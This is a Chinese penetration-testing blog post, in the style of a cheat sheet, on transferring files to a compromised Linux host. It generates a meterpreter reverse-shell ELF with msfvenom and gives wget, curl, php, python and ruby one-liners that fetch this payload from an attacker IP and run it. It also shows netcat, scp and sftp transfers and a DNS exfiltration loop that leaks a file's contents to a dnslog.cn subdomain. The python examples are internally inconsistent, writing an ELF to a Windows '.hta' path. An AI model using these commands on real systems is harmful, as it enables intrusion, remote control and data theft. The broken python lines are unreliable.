linux文件传输

生成payload

首先我们得生成一个linux下的可执行文件.elf

1
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.79.138 lport=9999 -f elf -o linux_64_9999.elf

wget

下载指定的文件

1
2
wget http://192.168.81.229/5555.elf -P /tmp/ && chmod +x /tmp/5555.elf && /tmp/5555.elf &

-p 指定保存的文件地址

& 放在后台

image-20240122121813445

指定文件名

1
wget -O 5555.elf http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &

curl

1
2
curl -o 5555.elf http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &
curl -O http://192.168.81.229/5555.elf && chmod +x 5555.elf && ./5555.elf &

Netcat/nc

其实可以理解为流,将文件流存入网络流中,然后通过网络流又保存到本地文件

受害者将网络流导入文件

1
nc -lvvp 9999 > linux.elf

攻击者将文件内容作为传输的内容

1
cat linux.elf | nc 受害者ip 受害者port 

结果

image-20240122122835484

scp

下载

1
scp kali@192.168.79.138:/home/kali/linux_64_9999.elf  ~/linux2.elf

image-20240122123141732

上传

使用攻击机上传文件

1
scp chg@192.168.79.128:/home/chg/linux3.elf linux_64_9999.elf 

image-20240122123607085

image-20240122123629962

sftp

这个类似与scp

使用ssh服务传输文件

下载

1
sftp kali@192.168.79.138:/home/kali/linux_64_9999.elf  ~/linux2.elf

image-20240122123220532

连接ftp服务器(攻击机)

1
sftp kali@192.168.79.138:/var/www/html      

image-20240122123839430

可以使用

1
2
3
ls 查看文件
get 下载文件
help 帮助

image-20240122124004545

image-20240122123954724

1
sftp -p 指定端口 -i 私钥文件

dns传输数据

1
cat test | xxd -p -c 16 | while read line; do host $line.sau547.dnslog.cn; done

然后利用dns解析处结果

image-20240122124512470

image-20240122124519368

脚本语言的文件传输

php

1
2
3
4
php -r 'file_put_contents("5555.elf",file_get_contents("http://192.168.81.229/5555.elf"));
# file_put_contents: 将一个字符串写入文件
# file_get_contents: 将整个文件读入一个字符串

python

1
2
python3 -c "import urllib.request;u=urllib.request.urlopen('http://192.168.81.229/5555.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read().decode('utf-8'))"

1
python2 -c "import urllib2;u=urllib2.urlopen('http://192.168.81.229/5555.elf');f=open('c:\\temp\\win.hta','w');f.write(u.read());f.close()"

Ruby

1
2
3
4
5
6
7
#!ruby
#!/usr/bin/ruby
require 'net/http'
Net::HTTP.start("192.168.81.229") { |http| r = http.get("/5555.elf")
open("/tmp/5555.elf", "wb") { |file| file.write(r.body)
}
}
1
ruby -e "require 'net/http';Net::HTTP.start('192.168.81.229') { |http|r = http.get('/5555.elf');open('/tmp/5555.elf', 'wb') { |file| file.write(r.body)}}"

linux文件传输
https://tsy244.github.io/2024/01/22/渗透/linux文件传输/
Author
August Rosenberg
Posted on
January 22, 2024
Licensed under